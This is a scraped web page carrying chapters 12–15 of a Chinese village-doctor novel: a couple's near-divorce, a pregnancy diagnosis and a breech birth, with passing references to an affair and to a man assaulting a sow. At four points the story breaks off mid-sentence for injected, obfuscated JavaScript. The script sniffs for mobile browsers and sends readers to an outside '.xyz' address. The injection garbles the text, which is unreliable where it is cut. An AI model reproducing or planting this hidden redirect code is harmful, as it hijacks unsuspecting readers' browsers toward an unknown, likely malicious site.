沈妙的布袋里还有一些上次用剩下的曼陀罗粉末,用手指捻了捻后,试着将这味道掸向了它的鼻子附近。 曼陀罗的叶子粉末是极好用的镇定剂,不一会的功夫,母猪激动的情绪就逐渐稳定了下来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647310|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈妙也能靠近观察它的情况。 这次出来她没有带药箱,只能找婶子接来一把蒲扇,用扇子把替母猪按摩着百会穴、心俞穴和耳尖穴这几个可以凝神定惊的穴位,同时哼着哄孩子的儿歌,让它的心理也能跟着放松。 等药劲儿差不多过去后,母猪也不再挣扎了,而是像个孩子一样乖乖侧躺着露出肚子,让她随意地给自己两排疼痛的“奶龙头”按摩。 时不时眨巴着眼睛,积蓄着的恐惧和惊恐也在一点点的消失。 “一会跟我回去再抓副药?”揉了揉它外软内硬的奶龙头,沈妙淡声对一旁的婶子说道,“它现在情绪是好点了,但里面还是堵着没疏通,把药熬好拌进玉米糁里喝完就能缓过来了。” 哺乳期最忌情绪波动,人和动物都一样。 “晚会中不?等你叔从市里回来了,我再跟你去拿药,猪在家养着得有人看着才行。”看了看时间,婶子给沈妙端来一碗水回道。 沈妙:“行,不急。” 拿来一只扫帚打扫着院子里的狼藉,婶子不由得抱怨了一句:“都怪徐家那两口子,要不是他们闹了一晚上,也不会折腾出这么多事。” 徐家的两口子,徐志成? 沈妙没搭茬说下去,而是换了个话题说道:“家家有本难念的经,他们家也不容易。” “确实,徐志成也是命苦得很,爹妈死得早,腿摔断了不说,还摊上这么个媳妇,啧啧。” 沈妙皱了下眉,“啥意思?” “你还不知道吧,”院子里虽然没别人,但婶子还是刻意压低了几分声音,“昨天晚上徐志成他媳妇偷人叫发现啦!” 沈妙:??? “不对吧,”沈妙试着替王穗花解释道,“我怎么听说她只是借钱?那人骑的是猪啊。” 婶子撇撇嘴,一副“你知道的都是皮毛”的表情,随后慢吞吞地说道:“借钱?谁大半夜来借钱啊,要真是借钱在家里说不成?非得黑灯瞎火跑到外头?听她瞎胡吹吧,她就是想偷汉子,结果那汉子吸了du脑子不清醒,才闹出这档子事。” 听婶子那信誓旦旦的语气,不止是她,说不定昨晚的目击者都是和她一样的想法。 可是知道内情的沈妙,此时却不能跟她说实话。 沈妙:“他们不是去市里的警察局了嘛,等警察调查清楚就知道了。” “你不懂,这就不是一码事。警察调查的是公家的事儿,要和王穗花离婚的事儿警察才不管呢。” “啥?离婚?!” 沈妙下意识提高了八度的声音,把刚缓过来的母猪吓得小腿又一颤。 “是啊,”婶子回道,“徐志成今儿中午从派出所打来的电话,说要跟王穗花去民政局办离婚,你叔去城里就是帮着给送证去了。” 12. 第 12 章 离婚?这咋能离婚呢?! 就算昨天晚上王穗花和孔祥明在一起,也什么都没发生啊,徐志成最了解王穗花的为人,他难道还会不相信她不成? 况且真要离婚,自己也就成罪人了,毕竟这法子也有沈妙参与其中。 不行!这个婚绝对不能离! 约摸着快七点的时候,二队的队长终于推着自行车回来了,瞧他一脸疲态的模样,想来今天下午在市里折腾出了不少事。 他既然回来了,那王穗花和徐志成应该也回来了。 简单同男人寒暄几句后,沈妙便带着婶子回去拿药了,她表面上看不出什么,实则心里一直惦记着徐志成他们的事,婶子前脚刚走,她后脚就又蹬着三轮车奔向了岔河村。 “志成哥?嫂子?” 村里的路灯昏暗,两扇紧闭着的门似乎要比平日更加清冷,贴在门上那个破旧的“福”字也褪去了最后的一点红色。 听到外面是沈妙的声音,从厨房走来的那个脚步声略显沉重。 “来了啊。” 王穗花知道沈妙会来,只是没想到她会来得这么急。 用围裙擦擦手上的水,王穗花干巴巴地扯了下唇角,招待着她进来:“快进来坐,我正要冲鸡蛋花呢,天气热,你也喝一碗败败火吧。” 王穗花没有提昨晚的事,好像什么都不曾发生过一样,她还是像往常一样忙里忙外,照顾着身体还没恢复的徐志成,只是她眼角眉梢的憔悴,还有字里行间的疲惫却没办法把今天这乌糟的一堆事给抹去。 跟着王穗花来到屋里时,徐志成正靠坐在床头发呆,旁边的收音机里播放着今天的新闻,他摩挲着手里那一册小红本,一个字都没听进去。 “志成?妙妙来了。”王穗花温声提醒他道。 “嗯?”徐志成回过神后,挪了挪身坐得更直了些,“妙妙啊,咋这么晚来了?” 和王穗花一样,在看到沈妙时,他的脸上也下意识地露出几分笑意,只是不善伪装的他笑容比王穗花的还要苦涩。 王穗花没有在屋里多呆,甚至眼神都没有和徐志成接触,她好像很怕跟徐志成说话,给沈妙拉来一张椅子后就急忙走了出去。 情况有些不对劲。 难不成他们真的已经离婚了? 沈妙将那一包药放在柜子上,为难地低下头,主动向他道歉道:“志成哥,昨晚的事我都听说了……对不起,都是我不好,乱给嫂子出主意,这跟她没关系的,你可千万别怪她。” “我没怪她,也没怪你。我知道,你这么做也是出于好心。” 徐志成一边说一边从枕头下拿出一张存折,郑重地交到了她手里:“妹子,你嫂子现在跟你关系最亲,你一会能不能帮我劝劝你嫂子,让她跟我离婚。” 翻开那张存折,之前记录的基本都是几十块几百块的数额,直到今天出现最新的那一笔,是整整四千三百块的存入记录! 四千三百块!看得沈妙不禁愣了一下。 “哥,你哪来这么多的钱!” 是孔祥明赔的和解费?不对不对,他和王穗花什么都没发生,不至于赔这么多。 “我的工钱,”徐志成淡然一笑,“欠了几个月的工钱,一毛钱不差,全都补齐了。” 这是徐志成凭自己给找回来的。 他抓到了偷工友们血汗钱的“鬼”,没错,正是带着他们赚钱的包工头孔祥明。 说起来这也是一个巧合,一个上天眷顾的巧合。 为了让徐志成睡得舒服,沈万山开给他的安神药有不少镇定的药物,有点像是强效的安眠药,不仅可以快速入眠,还能延长睡眠的时间。 他们家离村里的猪圈不远,即使他睡得很沉,孔祥明侵犯母猪的动静还是此起彼伏地传到了他的耳边。 一声接着一声,这熟悉又陌生的惨叫和喘息不停刺激着他的耳膜,当他猛然从睡梦中惊醒时,那段被“鬼”吓丢的记忆也跟着被找了回来。 徐志成记起了那天晚上在工地上“撞鬼”的事。 那晚他照例巡夜时,在楼上听到了女人哭泣的声音,不是受到委屈时的那种娇哭,而是大喊大叫把情绪发泄出来的大哭。 一开始徐志成以为是撞见了鬼,于是就往上靠近了些,直到听见另一个男人的喘息声,还有如波浪般碰撞的声响,他才意识到自己不是撞鬼,而是有人在尝欢。 “弄死我,用力,弄死我!” “叫出来,快,声音大点!” 工地上没什么女人,除了负责做饭的老赵媳妇之外,就只有管钱的会计是女人。 听这声音,应该是会计,而那个努力耕耘想要当她“爹”的人,正是孔祥明。 虽然不知道他们是什么时候勾搭在了一起,不过为了不打扰他们的好事,徐志成还是识趣地离开了,结果就是在离开的时候脚下一个不小心,便从楼上摔了下去。 因为摔到了头,徐志成忘了自己是怎么摔下的楼,结果被孔祥明一来二去地引导之后,就成了他是在巡夜的时候碰到了鬼,被鬼给推了下去。 直到昨晚,他再次听到孔祥明卖力的喘息声,才想起了自己碰到的并不是什么鬼,而是孔祥明同工地会计欢爱缠绵的现场。 既然没有鬼,那工友们的血汗钱自然和鬼没关系,是人在捣鬼,而这个捣鬼的人,显而易见就是包工头孔祥明和管钱的会计。 经过警察一天的调查,事情确如他所料,是孔祥明和会计合伙吞了这笔钱。 一开始他们只是想扣个千八百的,结果听到徐志成坠楼,醒来后又不记得发生了什么事,他们就一不做二不休地把钱全部昧下,转头说是被鬼偷走的。 两人狼狈为奸、一唱一和,表面在工地上他们又没有任何来往,自然没有人会怀疑是他们动的手脚。 如今有了徐志成的证词,经过一上午的调查后,找到方向的警察很快就追回了这笔钱。不仅第一时间把两个犯罪嫌疑人抓捕起来,也把工友们的血汗钱都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647311|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了下去。 而徐志成其实在受伤后工地也是发了赔偿款的,同样是被孔祥明给扣下了,只是孔祥明见他老实,又想故技重施地用这笔钱从他家搜刮点好处,这才把目光盯在了王穗花身上。 赔偿款加上工钱有一万多,还完债后剩下的还有四千块,不说以后能过得多富,起码不用再过苦哈哈的日子了。 看着存折上的数字,沈妙不解道:“既然都拿到钱了,还离啥婚啊?” 徐志成沉重地叹了一口气,“我不想再拖累她了,如果不是为了我,她……” 徐志成老实,但不傻。 人人都说他命苦,其实他心里清楚得很,这个家最苦的人不是自己,而是他的媳妇王穗花。 如果不是嫁给自己,她不用一直忙里忙外地过苦日子; 如果不是嫁给自己,她也不用从早到晚地照顾一家子人; 如果不是嫁给自己,她更不用靠出卖身体来换活命钱…… 他曾经说过要让王穗花过上好日子,结果非但没让她享一天福,还为他受了这么大的委屈…… 所以他想跟王穗花离婚,想让她拿上这笔钱离开自己,去过几天松快的日子,不要再留下来跟他这个半残废继续吃苦了。 “我今天说了几遍了,不离不离不离,你为什么就非得赶我走!” 王穗花一整天都在克制着情绪。白天当着外人的面,她不好发作,但是此时此刻当她再次听到“离婚”两个字时,彻底忍不住了,猛地推开门闯了进来。 “徐志成,我告诉你,你当初既然娶我进了这个门,就得跟我过一辈子!” 王穗花一把将存折夺过去,丢回到他的怀里,“我不觉得日子苦那就不算苦,多少坎儿咱都一起走过来了,我说以后的日子肯定会越过越好,你咋就不信啊!” “我不想拖累你,我这脚……” “脚咋了?又不是以后都站不起来了?!”王穗花打断了他的话,“少了一只脚,但咱还有一双手,这青天白日的,还能把自己饿死了不成?” 王穗花越说越激动,从前她照顾着徐志成的情绪,一直不想在他面前表露,眼下既然要把事情说开,索性把心里憋着的那些话都一股脑说出来。 她努力地顶起了半边天,但也需要徐志成站起来顶起另外的一半,才算是一个真正的家,不管少了谁,这个家都不算是完整。 “徐志成,我今天再跟你说最后一遍,你要是,要是……” 话说到一半,王穗花的眼前倏地一阵晕眩,不等徐志成他们反应过来,就“咚”地一声摔倒在了地上。 “穗花!” “嫂子!” 一定是因为气急攻心,一口气没喘上来所以晕倒了。 沈妙赶忙起身将王穗花从地上扶到自己怀里,同时把手放在她左手的寸关尺处感受她的脉搏。 轻按时搏动有力,跳动如珠子在玉盘上滚动,往来流利,触感圆滑有力…… 是滑脉! 13. 第 13 章 见沈妙的神情不对,徐志成连忙问道:“她怎么了?是不是病了?” 沈妙没有回答,只是努力地将王穗花从地上扶起来,然后扶着她的头小心翼翼在床上躺好。 一般女性要是把到了滑脉,基本可以判断是怀孕,但也有可能是贫血或者消化功能出现了问题。 毕竟他们的日子过得清贫,王穗花又整天为了操持这个家忙里忙外,所以除了怀孕之外,也是有患上胃病晕倒的可能性。 不确定,再看看。 于是沈妙又看了看她的舌苔、眼白,经过一番仔细检查后,这才能彻底放下了悬在嗓子眼的那一口气:“嫂子她怀孕了。” “你说她怀,怀孕了?” 徐志成嘴角微微抽搐,一时不知道是该哭还是该笑。 怀孕,这么说……他们马上就要有自己的孩子了?! 结婚这么多年一直没有孩子,徐志成和王穗花早就不抱希望了。之前也去城里做过检查,大夫说他们身体健康,所以他们只当是上天注定,自己这辈子没有子女缘。 如今媳妇的肚子突然传来了喜讯…… “你没诊错吧?穗花她,她真的怀孕了?!” 沈妙点点头,“真的,看脉象应该快两个月了。嫂子她气血不足,怀孕的时候又一直缺乏营养,所以才会晕倒。” 确认媳妇是真的怀了孕,徐志成的嘴角不住地上扬,眼眶里也在不断积蓄着湿润。 分明在十几分钟前,他还决绝地想要把王穗花从身边赶走,此时此刻,一双无措的双手却只想将她护在怀里,替她挡住窗缝吹进来的风。 王穗花刚才是一时气血上头,过了大概几分钟就缓过来了。 当她睁开眼睛想要继续和徐志成争论,一睁眼,看到的却是他激动到热泪盈眶的表情时,涌到嗓子眼的那句话,反倒不知该怎么说出口了。 “这是咋了?” 王穗花扶着床慢慢坐起来,揉了揉还有些浑噩的头,“我就是中午没吃饭肚子有点晕,好好的,你咋还哭上了?” 伸手替他揩去眼角的泪,王穗花收起了方才与他说话时的强硬,四目相对,她还是像平常那样温柔。 “嫂子,恭喜啊,你怀孕啦!”一旁的沈妙迫不及待地告诉她这个喜讯。 “啥?我怀……”王穗花不可思议地捂着自己的小腹,“怀孕了?!” 地里有农活、家里有家务,她整日都忙得不可开交,再加上来的时候不会太疼,所以她不会特意去掐那几天日子。 不过经沈妙这么一说,再算算时间,还有为了安抚徐志成而未眠的那几个深夜…… “志成,你听到了吗?我怀孕了,我们,我们要有自己的孩子了!” 看向身旁的徐志成,王穗花不敢相信能从他的眼睛里看到自己在笑,而且还笑得这么开心。 原来,生活并不全是苦涩的味道,还是可以尝到希望的甜头。 “听到了听到了,我要当爹了!你要当娘了!” 两人紧紧地抱在一起,共享着这份上天眷顾的喜悦。 想到刚才徐志成说的那些伤人的话,王穗花又把他推开,故作嗔怒的模样向他问道:“不是要跟我离婚吗?嗯?还离不?” “不离了不离了,”又哭又笑的徐志成揩了一把鼻涕,傻乎乎地笑着,把她搂得更紧了,“说啥也不离了。” 拿起床上的那张存折,王穗花又帮他把眼泪擦干净,温声道:“志成,当初你答应了对我好,可不是把钱给我就是对我好了,你得照顾我一辈子,得一块把咱俩的日子给过好了,知道不?” 徐志成点头如捣蒜,一个劲儿应着她的话,“知道知道,你等我,我一定会站起来,照顾好你们娘儿俩!” 把存折塞回到徐志成的口袋里,一直撑起这个家的王穗花,头一次将头靠在了他的肩膀上,“好,那以后我和咱小可就指着你当家儿了。” * 孔祥明半夜骑猪的事儿在各个村里飘了小半个月。 毕竟被他私吞钱的农民工都来自豫市附近的村子,所以但凡是跟他干过工程的人,都能在闲聊时,再多抖出一点他做的腌臜事。 不止是村子,市里的电视台也吃上了这口“瓜”。 为了宣扬抵制封建迷信,他们特意就着孔祥明的事开了几天的专栏报道,那段时间,徐志成身为在场的唯一目击证人,每天都有记者上门采访。 没了梦魇的困扰,徐志成的睡眠质量提高不少,幻肢痛的次数也在下降,在沈万山帮他装上假肢后,这两天走起路来看着已经和正常人差不多了。 苦尽甘来,一切似乎都在朝着更好的方向发展着。 “嫂子,你怎么来了?” 那天坐诊的时候,沈妙在看到进门的人是王穗花时,眼前不由得闪过一丝惊喜。 医馆最近的病患比较多,算算日子差不多快一个礼拜没见了,沈妙正准备这两天找个机会去给她送药呢,没想到她今天自己就来了。 上次见王穗花时,她身上那件蓝白色的大汗衫还打着补丁,今天她已经穿上了干净的新衣裳,而且有徐志成帮着一起分担家里的农活,她的气色也好了不少。 担心一旁爷爷手里的戒尺随时落下,沈妙不敢急着同她闲聊,而是像对待其他病人那样,主动把椅子拉近了些,“是身体有哪里不舒服吗?” 王穗花心里明了地点点头,回答说:“我最近经常犯恶心,啥都吃不下,就想着来开点药缓缓。” 沈妙简单地给她搭了脉,然后建议道:“我瞧着你气色挺好的,放心吧,怀孕害喜是正常现象,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647312|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用刻意吃药缓解。” 不过她还是翻开一页,在药方单上写下了一些药材,“这样吧,我给你拿点陈皮和山楂片,犯恶心的时候可以拿来泡水喝。平时你没事的话也可以多按按足三里,就是小腿的这个位置,也能舒服一点。” “中。” 接过药方后,王穗花从口袋里拿出了一只小布包,问道:“多少钱?” “给一毛就中,”说着,沈妙又将徐志成之前的病历找了出来,“对了,志成哥最近睡得咋样?还用再给他拿点药不?” “不用了,他最近睡得可好,脚也三四天没疼过了。” 在布包里翻了一会后,王穗花拿出一张浅灰色的票子放在了桌子上。 沈妙好久没看到这么大的面额了,在看到票面上的四个人头像和那个“100”的数字时,眼睛都不由得睁大了两分。 “嫂子,这么大的钱,俺这儿找不开啊。” “不用找,”王穗花缓声解释说,“恁之前帮志成这么多,又是给药、又是针灸都没要过一分钱,现在俺的日子过得轻快不少,也该给补上。” “补啥补,不行不行!” 沈万山拿起那张票子硬是要塞回给她,“你要给个十来块我就不说啥了,这一百块俺可不能收,听叔话,快点拿回去。” “叔,恁就收下吧,就当是我和志成的一点心意。” “不收不收,哎呀,赶紧收回去,你再不接以后我可不敢上你家门了!” 沈万山就是这么个脾气,宁愿少收一块,也绝对不多收一毛。 他当初帮徐志成是出于医家本分,没想过要收他多少钱,所以哪怕他讨回了自己的工钱还拿到了一大笔的赔偿款,也跟自己没关系,更不需要什么回报。 见沈万山这边是一堵铜墙铁壁,王穗花又看向了一旁的沈妙,没想到沈妙躲得更远,两只手往身后一背,更不给她一点见缝塞钱的机会。 沈妙比不得爷爷有这么高的觉悟,她的热心除了有一片“仁心”之外,更多的还是想要吃瓜的“好奇心”。 能满足自己吃瓜的好奇心就够了,至于报酬什么的…… 咳咳,一百块实在是太多,要是二十块钱,她没准就真的收下了。 打了半天的太极拳,王穗花最后还是不情愿地收回了一百块,重新给了一张十块钱,原本里面还夹着一张五块的和一张两块的,结果还是被沈万山给发现后退了回去。 王穗花拿着药离开后,沈妙又继续往下面叫号:“十九号,十九号可以进来了。” 等了快一分钟没人回答,想着“十九号”可能是等得太久提前回家了,她便准备叫“二十号”进来,结果门外却传来了一个小男孩嫩生生的声音。 “妙妙姐,十九号的大肚子阿姨吓得尿裤子啦!” 14. 第 14 章 尿裤子? 掀开竹帘出来时,外面排起的队已经聚集成了一团,而围在中间的女人手里还紧紧地攥着那张写着“19”的白纸,靠在墙边不知所措。 刚才那个叫嚷着“尿裤子”的小男孩,则被他的家长拉到一旁,狠狠地在他屁股蛋儿上拍了好几个巴掌。 “呀!这是要生了,快送去卫生所吧!” “这羊水都破了,哪还来得及啊?” “先别动她,羊水流完可就麻烦了。” 周围的人各自出着主意,却没人敢上手去帮,只能尽量稳定她的情绪,同时把周围无关的目光给驱赶开。 同为女人,她们都知道生孩子的痛苦,可也仅仅是亲身经历过罢了,真要让她们帮忙,她们也像是无头苍蝇般不知道该怎么办。 还好,还好她这是在医馆。 “让一下,都让一下!” 快步走到女人身边,沈妙一边快速检查着女人的情况,一边问道:“这位大嫂,你怀孕多久了?之前有什么不舒服的症状吗?” 女人似乎还没从要分娩的惊慌中回过神,只是木讷地摇摇头,“没,没有,怀了有九个月了,九个月零,零八天。” 九个月零八天,二百七十八天。 女人的裤子已经被羊水湿透,从脉象来看,并没有什么特殊的情况,所以她应该是到了预产期后自然的生产。 就像周围那些姑婶们说的,现在再送卫生所怕是来不及了,只能把她抬到屋里在医馆里生。 “爷,这儿有个大嫂要生了,您快出来看一下。” 说着,沈妙又拿出手帕替她擦拭着额头豆大的汗珠,温声安慰她道:“别怕,我们医馆的条件虽然比不上卫生所,但我爷之前接生过不少孩子,肯定不会有问题的。” 女人尽管害怕,但还是握住她的手,无比信任地点了点头。 “进来几个人,帮我把床腾一下。” “哎!我来了!” “谁认得俺家门?快去把冬梅给叫来,让她来搭把手。” “我去吧,我知道在哪。” “热水,妙妙,先把热水给烧上。” “我来烧吧,烧两锅够不够?” 生孩子是一场硬仗,光是孩子他娘一个人的力量远远不够。随着屋里接连不断地传出沈万山的声音,院子里所有的人也陆续跟着忙活了起来。 上到五六十的姑婶、下到十来岁的小姑娘,全都加入到了这场“接生战役”之中。 而那些与战役无关的男人和孩子们,也自觉地退到了院子外面,又是接水、又是跑腿,就连崴了脚的大叔,为了多叫几个有接生经验的人,也拄着拐杖一瘸一拐地跑去各家叫人。 管她是哪个村的、管她是谁家的人,眼下让她们母子平安才是最重要的。 “咋回事?俺儿媳妇要生了?” 过了大半晌,陪着孕妇来医馆的中年女人才姗姗来迟地赶回来。 她手里紧紧攥着一包从小卖部买来的梅子条,进院时脚下一个踉跄,差点摔了个大马趴。 “这好好的,咋说生就生啊?”中年女人说话时声音微微颤抖,往前走几步,朝着竹帘里面观望,怀里抱着梅子条的牛皮纸都被她攥出了好几道裂口。 沈妙正巧从屋里出来去接开水,见她想要进屋,连忙阻拦道:“她已经到预产期了,随时都有可能生产。您别担心,嫂子她没事的。” “我的乖孙,我的乖孙……” 她是女人的婆婆,跟着女人一起来把平安脉的。 几十分钟前,女人说天热,嘴里苦得很想吃点酸的,没成想她这才刚去给她买梅子条,不过是耽误了一会,她肚子里的孩子就有了反应。 唉,是自己买得晚了…… 沈妙的安慰并不能让她宽心,站在门口反复地踱步,中年女人的眉头越皱越紧,最后又拉住了沈妙的手问道:“大夫,能让她拖到后天生不?明天也中,起码得过了今天晚上啊。” 沈妙:??? 行医以来,她听到过很多无理的要求,但这个要求,绝对是最无理的,没有之一。 她也是女人,她也生过孩子,她怎么会不知道生孩子无异于在阎王爷跟前转上一圈,不想着赶快跑就算了,谁会想着跟阎王爷拉家常啊。 嫌自己命长? 沈妙推开了她的手,表情也陡然变得严肃起来:“婶儿,生孩子可不是开玩笑的,哪能拖那么久?这命还要不要了?!” “我知道,我都知道,”沈妙说的话她一个字都没听进去,自顾自地解释说,“大夫交代过,得这个月初九以后生才会是个小,要不就还得是个妞。” “生男生女早就定了,哪是换个日子就能改的?” 这样无稽的说法,早十来年清河村都没人再信了,没想到今天还能听到。 眼瞅着她越说越离谱,沈妙实在是不想再跟她纠缠,于是连忙端着热水走回到了屋里,“您就好好在外面等着吧,等会孩子出生了我再来叫你。” 回到内堂时,王冬梅正在给她喂一些参汤,另外一位有接生经验的大娘则在用手指检查着她的开指情况。 女人之前生过孩子,有过生产的经验会比头胎要容易许多,不过分娩时的疼痛却丝毫不会减轻。 “啊……啊!!” 很快,女人又开始了新一轮的宫缩。 她的两只手死死地攥住身下的那条白床单,颤抖的指甲恨不得在上面抠出几个洞来。靠在枕头上大口地喘着粗气,每一次呼吸里都夹带着快要被撕裂的痛楚。 豆大的汗珠一滴接着一滴的顺着脸颊落下,她只要一恢复一点气力,就会赶忙抬起头催促:“生,生出来吗?是男孩,男孩吗……” 她快承受不住这股疼痛了,好像如果孩子再不出来,她就会死掉一样。 “别急,生孩子得慢慢来,”王冬梅扶着她躺好,“别紧张,没事的,多喝点参汤提提力气。” 看着女人为了生孩子拼尽性命的模样,一旁的沈妙不由得起了一身的鸡皮疙瘩。 虽然她目睹过很多次女人生产的场面,但每一次看到她们努力想把孩子们带到这个世界上,心里最柔软的那一处都会跟着疼一下,软弱的眼泪也会试图挣脱理智逃出来。 当女人不容易,当母亲更不容易……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647313|172754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>就在沈妙清洗着那几条毛巾时,负责接生的大娘忽然站起身从内堂走出到外堂,来到沈万山身边,神色紧张道:“叔,我……” 见女人的婆婆就在一帘之隔的外面等着,大娘又压低了几分声音,“我摸着她肚子里的孩子位置不对,好像是脚冲着外头。” 听到她的话,沈万山端着搪瓷杯的手不由得顿了一下。 尽管是治病救人的医生,但因为男女有别,一般沈万山都是在外面指导着接生的婆子,只有碰上特殊情况他才会亲自进入产房帮忙。 接生过的人都知道,脚朝外的情况是胎位不正,有极大的概率会发生难产,不止孩子不容易出来,就连孕妇说不定也会有生命危险。 五十年代之前要是碰到这种情况,几乎不是折了孩子、就是损了娘。近几十年的医疗技术提高很多,市里的医院都可以进行剖腹产,但是在贫穷的农村,这依旧是一道选择题。 “赶紧叫人送去市里的医院吧,要不怕是生不出来啊。” “别急,”放下手里的杯子,沈万山风云不惊地站起身从桌上拿起一双新的手套,“现在送去医院也来不及了,我先进去看看再说。” 脉是沈妙刚才诊的,接生是大娘负责的,在刚才大家扶孕妇进来时,沈万山要回避没有亲自替她检查,所以到现在他才第一次跟孕妇接触。 来到孕妇身边,沈万山将手放在她隆起的肚子上,靠着指尖来感受着孩子的位置,又低头把手伸进去感受一下宫口开指的情况。 “还好,还来得及。”沈万山松了一口气,对沈妙吩咐道,“把香油拿来。” 沈妙:“好。” 幸好接生婆子靠经验发现胎位不正,孩子的脚也只是冲着外面,不是伸到了外面,趁着现在她还没开始分娩,及时调整还是来得及的。 将孕妇的肚皮和手上分别涂了一层香油,沈万山先是在女人的肚子侧面轻轻按摩了一番,随后趁她放松之际,双手突然一换劲儿,肚子里的轮廓也像是面团一样跟着那股力道,上下掉了个个儿。 那一幕直接把接生婆子给看呆了。 她早听说沈万山有一门专治“胎位不正”的手艺,原来这手艺竟然是真的“手”艺! 不止是接生婆,感觉到肚子里的孩子转了个圈,女人也一时间忘记了要喊疼,等到她瞧见自己肚子隆起的形状好像和刚才不太一样,这才疼得“啊”地一声喊出来。 接生婆再次低头看向那处,刚才还没看到的孩子的头,此刻果然就这么水灵灵地倒转了过来! “好了好了,开到十指了!” “用力!呼……吸!呼……吸!” “啊!啊……我不,不行了,真的不行了……” “再来一次,使劲儿!” “使劲儿!我已经看到孩子的头了,再使把劲儿!” “啊!啊啊!!!” …… 听着里面分娩时此起彼伏的叫喊,外面的人心也跟着揪了起来。 直到两个小时后,从屋里传出一串响亮的婴儿啼哭声,紧张的气氛才被众人的欢笑和庆祝声所冲淡。 “生了!生了!” 15. 第 15 章 在众人齐心协力的帮助下,下午四点半,女人终于生了,生的是个女孩。 抱在怀里约摸着七斤左右,粉嘟嘟、胖乎乎的,很漂亮也很健康。 “哇啊……哇啊……” 母女连心,在王冬梅和沈妙给孩子清理身子时,孩子一直哭个不停,等到把她包好放到女人身边时,哭声这才逐渐减弱。 再使出最后一口劲儿把孩子生出来后,女人累坏了,连孩子都没来得及看一眼就迷迷糊糊地就昏了过去。 直到耳边传来孩子的哭声,这才再次强迫自己睁开眼。 “是个小,小吗?”女人看向身旁襁褓里肉嘟嘟的小脸儿,气若游丝地问道。 “是个妮儿,”王冬梅替她擦着头上的汗,“长得跟你可像,漂亮得很。” 听到是女儿的那一刻,女人脸上的情绪倏地僵了一下,眼神里的喜悦也顿然消失得干干净净,取而代之的,是愿望落空后的失望。 她并没有像刚才那样想着抱一抱自己的孩子,而是将头侧到了一旁,无力地呼出一口气。 沈妙和王冬梅对视了一眼,只是默默将盖在她身上的毯子掖了掖。 虽说现在“妇女能顶半边天”的口号喊得响亮,可在农村,生下一个能传宗接代的男孩依旧是各个家庭的愿望,尤其是现在计划生育抓得正紧,第一胎是男孩的要求就更高了。 看女人失望的表情,想来这应该不是她的第一个女儿。 “哇啊……哇啊……” “哇啊……哇啊……” 没有妈妈的怀抱来温暖,孩子的哭声愈发虚弱了。 小小的她还察觉不到妈妈对自己的失望,只是无力地扭着脖子哭喊,试图吸引母亲的注意力。 可既然是母亲,又怎么会真的嫌弃自己的孩子呢? 再次转过身,女人的眼角无意间掉落了一滴泪,随后她便收起了方才的情绪,小心翼翼地将孩子抱在了自己怀里,轻声哄道:“乖,娘在呢,不哭了不哭了。” 她们说得没错,女儿确实很像自己,这粉嘟嘟的小脸儿真是越瞧越喜欢。 “是个小是个妮儿?是个小是个妮儿?” 女人的婆婆急坏了,站在门口一个劲儿地朝里面问询道。 一同帮忙的村民们虽是没开口,却也好奇地跟在她后面,等着内堂里传来喜讯。 沈妙:“是个妮儿,七斤多一点,白白胖胖,长得可齐整!” 沈妙努力夸赞着女孩,可那中年女人在听到是“妮儿”的时候,脸就已经垮了下来,不管后面说了什么话,她一个字都听不进去。 “妮儿好啊,都说妮儿是小棉袄,长大贴心得很。” “中,中中中,母女平安都中。” “老姐姐,先给你道个喜了,恭喜恭喜啊!” 跟着折腾了大半天,在听说母女平安时,所有人都不禁松了一口气。 说起来,这也是大家一起帮着接生的小妮儿,所以屋里传出的每一声婴儿啼哭声,在他们听来都是一声声真挚的感谢。 听着周围人的道喜,中年女人的脸色越来越难看了。 不到黄河心不死,光是听沈妙说来不够,她非得亲自进来掀开孩子的襁褓看了一眼,直到亲眼看到孩子是个女孩,才彻底变了脸。 “你说说你,再憋一天都不中?” 中年女人一改上午来时跑前跑后的关切模样,冷言冷语地埋怨她道:“马大夫是不是交代过,必须得过了初九才能生,你看看,给俺孙儿的小mer都弄没了吧。” 